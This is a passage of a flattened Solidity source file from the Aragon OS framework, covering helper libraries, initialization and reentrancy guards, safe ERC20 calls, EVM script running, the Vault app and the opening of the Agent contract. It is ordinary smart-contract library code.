return arr(uint256(_a));
}
function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b));
}
function arr(address _a) internal pure returns (uint256[] r) {
return arr(uint256(_a));
}
function arr(address _a, address _b) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b));
}
function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) {
return arr(uint256(_a), _b, _c);
}
function arr(address _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) {
return arr(uint256(_a), _b, _c, _d);
}
function arr(address _a, uint256 _b) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b));
}
function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b), _c, _d, _e);
}
function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b), uint256(_c));
}
function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b), uint256(_c));
}
function arr(uint256 _a) internal pure returns (uint256[] r) {
r = new uint256[](1);
r[0] = _a;
}
function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) {
r = new uint256[](2);
r[0] = _a;
r[1] = _b;
}
function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) {
r = new uint256[](3);
r[0] = _a;
r[1] = _b;
r[2] = _c;
}
function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) {
r = new uint256[](4);
r[0] = _a;
r[1] = _b;
r[2] = _c;
r[3] = _d;
}
function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) {
r = new uint256[](5);
r[0] = _a;
r[1] = _b;
r[2] = _c;
r[3] = _d;
r[4] = _e;
}
}
contract ACLHelpers {
function decodeParamOp(uint256 _x) internal pure returns (uint8 b) {
return uint8(_x >> (8 * 30));
}
function decodeParamId(uint256 _x) internal pure returns (uint8 b) {
return uint8(_x >> (8 * 31));
}
function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) {
a = uint32(_x);
b = uint32(_x >> (8 * 4));
c = uint32(_x >> (8 * 8));
}
}
// File: @aragon/os/contracts/common/Uint256Helpers.sol
pragma solidity ^0.4.24;
library Uint256Helpers {
uint256 private constant MAX_UINT64 = uint64(-1);
string private constant ERROR_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG";
function toUint64(uint256 a) internal pure returns (uint64) {
require(a <= MAX_UINT64, ERROR_NUMBER_TOO_BIG);
return uint64(a);
}
}
// File: @aragon/os/contracts/common/TimeHelpers.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract TimeHelpers {
using Uint256Helpers for uint256;
/**
* @dev Returns the current block number.
* Using a function rather than `block.number` allows us to easily mock the block number in
* tests.
*/
function getBlockNumber() internal view returns (uint256) {
return block.number;
}
/**
* @dev Returns the current block number, converted to uint64.
* Using a function rather than `block.number` allows us to easily mock the block number in
* tests.
*/
function getBlockNumber64() internal view returns (uint64) {
return getBlockNumber().toUint64();
}
/**
* @dev Returns the current timestamp.
* Using a function rather than `block.timestamp` allows us to easily mock it in
* tests.
*/
function getTimestamp() internal view returns (uint256) {
return block.timestamp; // solium-disable-line security/no-block-members
}
/**
* @dev Returns the current timestamp, converted to uint64.
* Using a function rather than `block.timestamp` allows us to easily mock it in
* tests.
*/
function getTimestamp64() internal view returns (uint64) {
return getTimestamp().toUint64();
}
}
// File: @aragon/os/contracts/common/Initializable.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract Initializable is TimeHelpers {
using UnstructuredStorage for bytes32;
// keccak256("aragonOS.initializable.initializationBlock")
bytes32 internal constant INITIALIZATION_BLOCK_POSITION = 0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e;
string private constant ERROR_ALREADY_INITIALIZED = "INIT_ALREADY_INITIALIZED";
string private constant ERROR_NOT_INITIALIZED = "INIT_NOT_INITIALIZED";
modifier onlyInit {
require(getInitializationBlock() == 0, ERROR_ALREADY_INITIALIZED);
_;
}
modifier isInitialized {
require(hasInitialized(), ERROR_NOT_INITIALIZED);
_;
}
/**
* @return Block number in which the contract was initialized
*/
function getInitializationBlock() public view returns (uint256) {
return INITIALIZATION_BLOCK_POSITION.getStorageUint256();
}
/**
* @return Whether the contract has been initialized by the time of the current block
*/
function hasInitialized() public view returns (bool) {
uint256 initializationBlock = getInitializationBlock();
return initializationBlock != 0 && getBlockNumber() >= initializationBlock;
}
/**
* @dev Function to be called by top level contract after initialization has finished.
*/
function initialized() internal onlyInit {
INITIALIZATION_BLOCK_POSITION.setStorageUint256(getBlockNumber());
}
/**
* @dev Function to be called by top level contract after initialization to enable the contract
* at a future block number rather than immediately.
*/
function initializedAt(uint256 _blockNumber) internal onlyInit {
INITIALIZATION_BLOCK_POSITION.setStorageUint256(_blockNumber);
}
}
// File: @aragon/os/contracts/common/Petrifiable.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract Petrifiable is Initializable {
// Use block UINT256_MAX (which should be never) as the initializable date
uint256 internal constant PETRIFIED_BLOCK = uint256(-1);
function isPetrified() public view returns (bool) {
return getInitializationBlock() == PETRIFIED_BLOCK;
}
/**
* @dev Function to be called by top level contract to prevent being initialized.
* Useful for freezing base contracts when they're used behind proxies.
*/
function petrify() internal onlyInit {
initializedAt(PETRIFIED_BLOCK);
}
}
// File: @aragon/os/contracts/common/Autopetrified.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract Autopetrified is Petrifiable {
constructor() public {
// Immediately petrify base (non-proxy) instances of inherited contracts on deploy.
// This renders them uninitializable (and unusable without a proxy).
petrify();
}
}
// File: @aragon/os/contracts/common/ConversionHelpers.sol
pragma solidity ^0.4.24;
library ConversionHelpers {
string private constant ERROR_IMPROPER_LENGTH = "CONVERSION_IMPROPER_LENGTH";
function dangerouslyCastUintArrayToBytes(uint256[] memory _input) internal pure returns (bytes memory output) {
// Force cast the uint256[] into a bytes array, by overwriting its length
// Note that the bytes array doesn't need to be initialized as we immediately overwrite it
// with the input and a new length. The input becomes invalid from this point forward.
uint256 byteLength = _input.length * 32;
assembly {
output := _input
mstore(output, byteLength)
}
}
function dangerouslyCastBytesToUintArray(bytes memory _input) internal pure returns (uint256[] memory output) {
// Force cast the bytes array into a uint256[], by overwriting its length
// Note that the uint256[] doesn't need to be initialized as we immediately overwrite it
// with the input and a new length. The input becomes invalid from this point forward.
uint256 intsLength = _input.length / 32;
require(_input.length == intsLength * 32, ERROR_IMPROPER_LENGTH);
assembly {
output := _input
mstore(output, intsLength)
}
}
}
// File: @aragon/os/contracts/common/ReentrancyGuard.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract ReentrancyGuard {
using UnstructuredStorage for bytes32;
/* Hardcoded constants to save gas
bytes32 internal constant REENTRANCY_MUTEX_POSITION = keccak256("aragonOS.reentrancyGuard.mutex");
*/
bytes32 private constant REENTRANCY_MUTEX_POSITION = 0xe855346402235fdd185c890e68d2c4ecad599b88587635ee285bce2fda58dacb;
string private constant ERROR_REENTRANT = "REENTRANCY_REENTRANT_CALL";
modifier nonReentrant() {
// Ensure mutex is unlocked
require(!REENTRANCY_MUTEX_POSITION.getStorageBool(), ERROR_REENTRANT);
// Lock mutex before function call
REENTRANCY_MUTEX_POSITION.setStorageBool(true);
// Perform function call
_;
// Unlock mutex after function call
REENTRANCY_MUTEX_POSITION.setStorageBool(false);
}
}
// File: @aragon/os/contracts/lib/token/ERC20.sol
// See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/a9f910d34f0ab33a1ae5e714f69f9596a02b4d91/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @aragon/os/contracts/common/EtherTokenConstant.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
// aragonOS and aragon-apps rely on address(0) to denote native ETH, in
// contracts where both tokens and ETH are accepted
contract EtherTokenConstant {
address internal constant ETH = address(0);
}
// File: @aragon/os/contracts/common/IsContract.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract IsContract {
/*
* NOTE: this should NEVER be used for authentication
* (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize).
*
* This is only intended to be used as a sanity check that an address is actually a contract,
* RATHER THAN an address not being a contract.
*/
function isContract(address _target) internal view returns (bool) {
if (_target == address(0)) {
return false;
}
uint256 size;
assembly { size := extcodesize(_target) }
return size > 0;
}
}
// File: @aragon/os/contracts/common/SafeERC20.sol
// Inspired by AdEx (https://github.com/AdExNetwork/adex-protocol-eth/blob/b9df617829661a7518ee10f4cb6c4108659dd6d5/contracts/libs/SafeERC20.sol)
// and 0x (https://github.com/0xProject/0x-monorepo/blob/737d1dc54d72872e24abce5a1dbe1b66d35fa21a/contracts/protocol/contracts/protocol/AssetProxy/ERC20Proxy.sol#L143)
pragma solidity ^0.4.24;
library SafeERC20 {
// Before 0.5, solidity has a mismatch between `address.transfer()` and `token.transfer()`:
// https://github.com/ethereum/solidity/issues/3544
bytes4 private constant TRANSFER_SELECTOR = 0xa9059cbb;
string private constant ERROR_TOKEN_BALANCE_REVERTED = "SAFE_ERC_20_BALANCE_REVERTED";
string private constant ERROR_TOKEN_ALLOWANCE_REVERTED = "SAFE_ERC_20_ALLOWANCE_REVERTED";
function invokeAndCheckSuccess(address _addr, bytes memory _calldata)
private
returns (bool)
{
bool ret;
assembly {
let ptr := mload(0x40) // free memory pointer
let success := call(
gas, // forward all gas
_addr, // address
0, // no value
add(_calldata, 0x20), // calldata start
mload(_calldata), // calldata length
ptr, // write output over free memory
0x20 // uint256 return
)
if gt(success, 0) {
// Check number of bytes returned from last function call
switch returndatasize
// No bytes returned: assume success
case 0 {
ret := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// Only return success if returned data was true
// Already have output in ptr
ret := eq(mload(ptr), 1)
}
// Not sure what was returned: don't mark as success
default { }
}
}
return ret;
}
function staticInvoke(address _addr, bytes memory _calldata)
private
view
returns (bool, uint256)
{
bool success;
uint256 ret;
assembly {
let ptr := mload(0x40) // free memory pointer
success := staticcall(
gas, // forward all gas
_addr, // address
add(_calldata, 0x20), // calldata start
mload(_calldata), // calldata length
ptr, // write output over free memory
0x20 // uint256 return
)
if gt(success, 0) {
ret := mload(ptr)
}
}
return (success, ret);
}
/**
* @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false).
* Note that this makes an external call to the token.
*/
function safeTransfer(ERC20 _token, address _to, uint256 _amount) internal returns (bool) {
bytes memory transferCallData = abi.encodeWithSelector(
TRANSFER_SELECTOR,
_to,
_amount
);
return invokeAndCheckSuccess(_token, transferCallData);
}
/**
* @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false).
* Note that this makes an external call to the token.
*/
function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) {
bytes memory transferFromCallData = abi.encodeWithSelector(
_token.transferFrom.selector,
_from,
_to,
_amount
);
return invokeAndCheckSuccess(_token, transferFromCallData);
}
/**
* @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false).
* Note that this makes an external call to the token.
*/
function safeApprove(ERC20 _token, address _spender, uint256 _amount) internal returns (bool) {
bytes memory approveCallData = abi.encodeWithSelector(
_token.approve.selector,
_spender,
_amount
);
return invokeAndCheckSuccess(_token, approveCallData);
}
/**
* @dev Static call into ERC20.balanceOf().
* Reverts if the call fails for some reason (should never fail).
*/
function staticBalanceOf(ERC20 _token, address _owner) internal view returns (uint256) {
bytes memory balanceOfCallData = abi.encodeWithSelector(
_token.balanceOf.selector,
_owner
);
(bool success, uint256 tokenBalance) = staticInvoke(_token, balanceOfCallData);
require(success, ERROR_TOKEN_BALANCE_REVERTED);
return tokenBalance;
}
/**
* @dev Static call into ERC20.allowance().
* Reverts if the call fails for some reason (should never fail).
*/
function staticAllowance(ERC20 _token, address _owner, address _spender) internal view returns (uint256) {
bytes memory allowanceCallData = abi.encodeWithSelector(
_token.allowance.selector,
_owner,
_spender
);
(bool success, uint256 allowance) = staticInvoke(_token, allowanceCallData);
require(success, ERROR_TOKEN_ALLOWANCE_REVERTED);
return allowance;
}
/**
* @dev Static call into ERC20.totalSupply().
* Reverts if the call fails for some reason (should never fail).
*/
function staticTotalSupply(ERC20 _token) internal view returns (uint256) {
bytes memory totalSupplyCallData = abi.encodeWithSelector(_token.totalSupply.selector);
(bool success, uint256 totalSupply) = staticInvoke(_token, totalSupplyCallData);
require(success, ERROR_TOKEN_ALLOWANCE_REVERTED);
return totalSupply;
}
}
// File: @aragon/os/contracts/common/VaultRecoverable.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract VaultRecoverable is IVaultRecoverable, EtherTokenConstant, IsContract {
using SafeERC20 for ERC20;
string private constant ERROR_DISALLOWED = "RECOVER_DISALLOWED";
string private constant ERROR_VAULT_NOT_CONTRACT = "RECOVER_VAULT_NOT_CONTRACT";
string private constant ERROR_TOKEN_TRANSFER_FAILED = "RECOVER_TOKEN_TRANSFER_FAILED";
/**
* @notice Send funds to recovery Vault. This contract should never receive funds,
* but in case it does, this function allows one to recover them.
* @param _token Token balance to be sent to recovery vault.
*/
function transferToVault(address _token) external {
require(allowRecoverability(_token), ERROR_DISALLOWED);
address vault = getRecoveryVault();
require(isContract(vault), ERROR_VAULT_NOT_CONTRACT);
uint256 balance;
if (_token == ETH) {
balance = address(this).balance;
vault.transfer(balance);
} else {
ERC20 token = ERC20(_token);
balance = token.staticBalanceOf(this);
require(token.safeTransfer(vault, balance), ERROR_TOKEN_TRANSFER_FAILED);
}
emit RecoverToVault(vault, _token, balance);
}
/**
* @dev By default deriving from AragonApp makes it recoverable
* @param token Token address that would be recovered
* @return bool whether the app allows the recovery
*/
function allowRecoverability(address token) public view returns (bool) {
return true;
}
// Cast non-implemented interface to be public so we can use it internally
function getRecoveryVault() public view returns (address);
}
// File: @aragon/os/contracts/evmscript/IEVMScriptExecutor.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
interface IEVMScriptExecutor {
function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes);
function executorType() external pure returns (bytes32);
}
// File: @aragon/os/contracts/evmscript/IEVMScriptRegistry.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract EVMScriptRegistryConstants {
/* Hardcoded constants to save gas
bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = apmNamehash("evmreg");
*/
bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = 0xddbcfd564f642ab5627cf68b9b7d374fb4f8a36e941a75d89c87998cef03bd61;
}
interface IEVMScriptRegistry {
function addScriptExecutor(IEVMScriptExecutor executor) external returns (uint id);
function disableScriptExecutor(uint256 executorId) external;
// TODO: this should be external
// See https://github.com/ethereum/solidity/issues/4832
function getScriptExecutor(bytes script) public view returns (IEVMScriptExecutor);
}
// File: @aragon/os/contracts/kernel/KernelConstants.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract KernelAppIds {
/* Hardcoded constants to save gas
bytes32 internal constant KERNEL_CORE_APP_ID = apmNamehash("kernel");
bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = apmNamehash("acl");
bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = apmNamehash("vault");
*/
bytes32 internal constant KERNEL_CORE_APP_ID = 0x3b4bf6bf3ad5000ecf0f989d5befde585c6860fea3e574a4fab4c49d1c177d9c;
bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = 0xe3262375f45a6e2026b7e7b18c2b807434f2508fe1a2a3dfb493c7df8f4aad6a;
bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1;
}
contract KernelNamespaceConstants {
/* Hardcoded constants to save gas
bytes32 internal constant KERNEL_CORE_NAMESPACE = keccak256("core");
bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = keccak256("base");
bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = keccak256("app");
*/
bytes32 internal constant KERNEL_CORE_NAMESPACE = 0xc681a85306374a5ab27f0bbc385296a54bcd314a1948b6cf61c4ea1bc44bb9f8;
bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = 0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f;
bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = 0xd6f028ca0e8edb4a8c9757ca4fdccab25fa1e0317da1188108f7d2dee14902fb;
}
// File: @aragon/os/contracts/evmscript/EVMScriptRunner.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract EVMScriptRunner is AppStorage, Initializable, EVMScriptRegistryConstants, KernelNamespaceConstants {
string private constant ERROR_EXECUTOR_UNAVAILABLE = "EVMRUN_EXECUTOR_UNAVAILABLE";
string private constant ERROR_PROTECTED_STATE_MODIFIED = "EVMRUN_PROTECTED_STATE_MODIFIED";
/* This is manually crafted in assembly
string private constant ERROR_EXECUTOR_INVALID_RETURN = "EVMRUN_EXECUTOR_INVALID_RETURN";
*/
event ScriptResult(address indexed executor, bytes script, bytes input, bytes returnData);
function getEVMScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) {
return IEVMScriptExecutor(getEVMScriptRegistry().getScriptExecutor(_script));
}
function getEVMScriptRegistry() public view returns (IEVMScriptRegistry) {
address registryAddr = kernel().getApp(KERNEL_APP_ADDR_NAMESPACE, EVMSCRIPT_REGISTRY_APP_ID);
return IEVMScriptRegistry(registryAddr);
}
function runScript(bytes _script, bytes _input, address[] _blacklist)
internal
isInitialized
protectState
returns (bytes)
{
IEVMScriptExecutor executor = getEVMScriptExecutor(_script);
require(address(executor) != address(0), ERROR_EXECUTOR_UNAVAILABLE);
bytes4 sig = executor.execScript.selector;
bytes memory data = abi.encodeWithSelector(sig, _script, _input, _blacklist);
bytes memory output;
assembly {
let success := delegatecall(
gas, // forward all gas
executor, // address
add(data, 0x20), // calldata start
mload(data), // calldata length
0, // don't write output (we'll handle this ourselves)
0 // don't write output
)
output := mload(0x40) // free mem ptr get
switch success
case 0 {
// If the call errored, forward its full error data
returndatacopy(output, 0, returndatasize)
revert(output, returndatasize)
}
default {
switch gt(returndatasize, 0x3f)
case 0 {
// Need at least 0x40 bytes returned for properly ABI-encoded bytes values,
// revert with "EVMRUN_EXECUTOR_INVALID_RETURN"
// See remix: doing a `revert("EVMRUN_EXECUTOR_INVALID_RETURN")` always results in
// this memory layout
mstore(output, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier
mstore(add(output, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset
mstore(add(output, 0x24), 0x000000000000000000000000000000000000000000000000000000000000001e) // reason length
mstore(add(output, 0x44), 0x45564d52554e5f4558454355544f525f494e56414c49445f52455455524e0000) // reason
revert(output, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error)
}
default {
// Copy result
//
// Needs to perform an ABI decode for the expected `bytes` return type of
// `executor.execScript()` as solidity will automatically ABI encode the returned bytes as:
// [ position of the first dynamic length return value = 0x20 (32 bytes) ]
// [ output length (32 bytes) ]
// [ output content (N bytes) ]
//
// Perform the ABI decode by ignoring the first 32 bytes of the return data
let copysize := sub(returndatasize, 0x20)
returndatacopy(output, 0x20, copysize)
mstore(0x40, add(output, copysize)) // free mem ptr set
}
}
}
emit ScriptResult(address(executor), _script, _input, output);
return output;
}
modifier protectState {
address preKernel = address(kernel());
bytes32 preAppId = appId();
_; // exec
require(address(kernel()) == preKernel, ERROR_PROTECTED_STATE_MODIFIED);
require(appId() == preAppId, ERROR_PROTECTED_STATE_MODIFIED);
}
}
// File: @aragon/os/contracts/apps/AragonApp.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
// Contracts inheriting from AragonApp are, by default, immediately petrified upon deployment so
// that they can never be initialized.
// Unless overriden, this behaviour enforces those contracts to be usable only behind an AppProxy.
// ReentrancyGuard, EVMScriptRunner, and ACLSyntaxSugar are not directly used by this contract, but
// are included so that they are automatically usable by subclassing contracts
contract AragonApp is AppStorage, Autopetrified, VaultRecoverable, ReentrancyGuard, EVMScriptRunner, ACLSyntaxSugar {
string private constant ERROR_AUTH_FAILED = "APP_AUTH_FAILED";
modifier auth(bytes32 _role) {
require(canPerform(msg.sender, _role, new uint256[](0)), ERROR_AUTH_FAILED);
_;
}
modifier authP(bytes32 _role, uint256[] _params) {
require(canPerform(msg.sender, _role, _params), ERROR_AUTH_FAILED);
_;
}
/**
* @dev Check whether an action can be performed by a sender for a particular role on this app
* @param _sender Sender of the call
* @param _role Role on this app
* @param _params Permission params for the role
* @return Boolean indicating whether the sender has the permissions to perform the action.
* Always returns false if the app hasn't been initialized yet.
*/
function canPerform(address _sender, bytes32 _role, uint256[] _params) public view returns (bool) {
if (!hasInitialized()) {
return false;
}
IKernel linkedKernel = kernel();
if (address(linkedKernel) == address(0)) {
return false;
}
return linkedKernel.hasPermission(
_sender,
address(this),
_role,
ConversionHelpers.dangerouslyCastUintArrayToBytes(_params)
);
}
/**
* @dev Get the recovery vault for the app
* @return Recovery vault address for the app
*/
function getRecoveryVault() public view returns (address) {
// Funds recovery via a vault is only available when used with a kernel
return kernel().getRecoveryVault(); // if kernel is not set, it will revert
}
}
// File: @aragon/os/contracts/common/DepositableStorage.sol
pragma solidity 0.4.24;
contract DepositableStorage {
using UnstructuredStorage for bytes32;
// keccak256("aragonOS.depositableStorage.depositable")
bytes32 internal constant DEPOSITABLE_POSITION = 0x665fd576fbbe6f247aff98f5c94a561e3f71ec2d3c988d56f12d342396c50cea;
function isDepositable() public view returns (bool) {
return DEPOSITABLE_POSITION.getStorageBool();
}
function setDepositable(bool _depositable) internal {
DEPOSITABLE_POSITION.setStorageBool(_depositable);
}
}
// File: @aragon/apps-vault/contracts/Vault.sol
pragma solidity 0.4.24;
contract Vault is EtherTokenConstant, AragonApp, DepositableStorage {
using SafeERC20 for ERC20;
bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE");
string private constant ERROR_DATA_NON_ZERO = "VAULT_DATA_NON_ZERO";
string private constant ERROR_NOT_DEPOSITABLE = "VAULT_NOT_DEPOSITABLE";
string private constant ERROR_DEPOSIT_VALUE_ZERO = "VAULT_DEPOSIT_VALUE_ZERO";
string private constant ERROR_TRANSFER_VALUE_ZERO = "VAULT_TRANSFER_VALUE_ZERO";
string private constant ERROR_SEND_REVERTED = "VAULT_SEND_REVERTED";
string private constant ERROR_VALUE_MISMATCH = "VAULT_VALUE_MISMATCH";
string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "VAULT_TOKEN_TRANSFER_FROM_REVERT";
string private constant ERROR_TOKEN_TRANSFER_REVERTED = "VAULT_TOKEN_TRANSFER_REVERTED";
event VaultTransfer(address indexed token, address indexed to, uint256 amount);
event VaultDeposit(address indexed token, address indexed sender, uint256 amount);
/**
* @dev On a normal send() or transfer() this fallback is never executed as it will be
* intercepted by the Proxy (see aragonOS#281)
*/
function () external payable isInitialized {
require(msg.data.length == 0, ERROR_DATA_NON_ZERO);
_deposit(ETH, msg.value);
}
/**
* @notice Initialize Vault app
* @dev As an AragonApp it needs to be initialized in order for roles (`auth` and `authP`) to work
*/
function initialize() external onlyInit {
initialized();
setDepositable(true);
}
/**
* @notice Deposit `_value` `_token` to the vault
* @param _token Address of the token being transferred
* @param _value Amount of tokens being transferred
*/
function deposit(address _token, uint256 _value) external payable isInitialized {
_deposit(_token, _value);
}
/**
* @notice Transfer `_value` `_token` from the Vault to `_to`
* @param _token Address of the token being transferred
* @param _to Address of the recipient of tokens
* @param _value Amount of tokens being transferred
*/
/* solium-disable-next-line function-order */
function transfer(address _token, address _to, uint256 _value)
external
authP(TRANSFER_ROLE, arr(_token, _to, _value))
{
require(_value > 0, ERROR_TRANSFER_VALUE_ZERO);
if (_token == ETH) {
require(_to.send(_value), ERROR_SEND_REVERTED);
} else {
require(ERC20(_token).safeTransfer(_to, _value), ERROR_TOKEN_TRANSFER_REVERTED);
}
emit VaultTransfer(_token, _to, _value);
}
function balance(address _token) public view returns (uint256) {
if (_token == ETH) {
return address(this).balance;
} else {
return ERC20(_token).staticBalanceOf(address(this));
}
}
/**
* @dev Disable recovery escape hatch, as it could be used
* maliciously to transfer funds away from the vault
*/
function allowRecoverability(address) public view returns (bool) {
return false;
}
function _deposit(address _token, uint256 _value) internal {
require(isDepositable(), ERROR_NOT_DEPOSITABLE);
require(_value > 0, ERROR_DEPOSIT_VALUE_ZERO);
if (_token == ETH) {
// Deposit is implicit in this case
require(msg.value == _value, ERROR_VALUE_MISMATCH);
} else {
require(
ERC20(_token).safeTransferFrom(msg.sender, address(this), _value),
ERROR_TOKEN_TRANSFER_FROM_REVERTED
);
}
emit VaultDeposit(_token, msg.sender, _value);
}
}
// File: @aragon/os/contracts/common/IForwarder.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
interface IForwarder {
function isForwarder() external pure returns (bool);
// TODO: this should be external
// See https://github.com/ethereum/solidity/issues/4832
function canForward(address sender, bytes evmCallScript) public view returns (bool);
// TODO: this should be external
// See https://github.com/ethereum/solidity/issues/4832
function forward(bytes evmCallScript) public;
}
// File: @aragon/apps-agent/contracts/Agent.sol
/*
* SPDX-License-Identitifer: GPL-3.0-or-later
*/
pragma solidity 0.4.24;
contract Agent is IERC165, ERC1271Bytes, IForwarder, IsContract, Vault {
/* Hardcoded constants to save gas
bytes32 public constant EXECUTE_ROLE = keccak256("EXECUTE_ROLE");
bytes32 public constant SAFE_EXECUTE_ROLE = keccak256("SAFE_EXECUTE_ROLE");
bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = keccak256("ADD_PROTECTED_TOKEN_ROLE");
bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = keccak256("REMOVE_PROTECTED_TOKEN_ROLE");
bytes32 public constant ADD_PRESIGNED_HASH_ROLE = keccak256("ADD_PRESIGNED_HASH_ROLE");
bytes32 public constant DESIGNATE_SIGNER_ROLE = keccak256("DESIGNATE_SIGNER_ROLE");
bytes32 public constant RUN_SCRIPT_ROLE = keccak256("RUN_SCRIPT_ROLE");
*/
bytes32 public constant EXECUTE_ROLE = 0xcebf517aa4440d1d125e0355aae64401211d0848a23c02cc5d29a14822580ba4;
bytes32 public constant SAFE_EXECUTE_ROLE = 0x0a1ad7b87f5846153c6d5a1f761d71c7d0cfd122384f56066cd33239b7933694;
bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = 0x6eb2a499556bfa2872f5aa15812b956cc4a71b4d64eb3553f7073c7e41415aaa;
bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = 0x71eee93d500f6f065e38b27d242a756466a00a52a1dbcd6b4260f01a8640402a;
bytes32 public constant ADD_PRESIGNED_HASH_ROLE = 0x0b29780bb523a130b3b01f231ef49ed2fa2781645591a0b0a44ca98f15a5994c;
bytes32 public constant DESIGNATE_SIGNER_ROLE = 0x23ce341656c3f14df6692eebd4757791e33662b7dcf9970c8308303da5472b7c;
bytes32 public constant RUN_SCRIPT_ROLE = 0xb421f7ad7646747f3051c50c0b8e2377839296cd4973e27f63821d73e390338f;
uint256 public constant PROTECTED_TOKENS_CAP = 10;
bytes4 private constant ERC165_INTERFACE_ID = 0x01ffc9a7;
string private constant ERROR_TARGET_PROTECTED = "AGENT_TARGET_PROTECTED";
string private constant ERROR_PROTECTED_TOKENS_MODIFIED = "AGENT_PROTECTED_TOKENS_MODIFIED";
string private constant ERROR_PROTECTED_BALANCE_LOWERED = "AGENT_PROTECTED_BALANCE_LOWERED";
string private constant ERROR_TOKENS_CAP_REACHED = "AGENT_TOKENS_CAP_REACHED";
string private constant ERROR_TOKEN_NOT_ERC20 = "AGENT_TOKEN_NOT_ERC20";
string private constant ERROR_TOKEN_ALREADY_PROTECTED = "AGENT_TOKEN_ALREADY_PROTECTED";
string private constant ERROR_TOKEN_NOT_PROTECTED = "AGENT_TOKEN_NOT_PROTECTED";
string private constant ERROR_DESIGNATED_TO_SELF = "AGENT_DESIGNATED_TO_SELF";
string private constant ERROR_CAN_NOT_FORWARD = "AGENT_CAN_NOT_FORWARD";
mapping (bytes32 => bool) public isPresigned;
address public designatedSigner;
address[] public protectedTokens;
event SafeExecute(address indexed sender, address indexed target, bytes data);
event Execute(address indexed sender, address indexed target, uint256 ethValue, bytes data);
event AddProtectedToken(address indexed token);
event RemoveProtectedToken(address indexed token);
event PresignHash(address indexed sender, bytes32 indexed hash);
event SetDesignatedSigner(address indexed sender, address indexed oldSigner, address indexed newSigner);
/**
* @notice Execute '`@radspec(_target, _data)`' on `_target``_ethValue == 0 ? '' : ' (Sending' + @tokenAmount(0x0000000000000000000000000000000000000000, _ethValue) + ')'`
* @param _target Address where the action is being executed
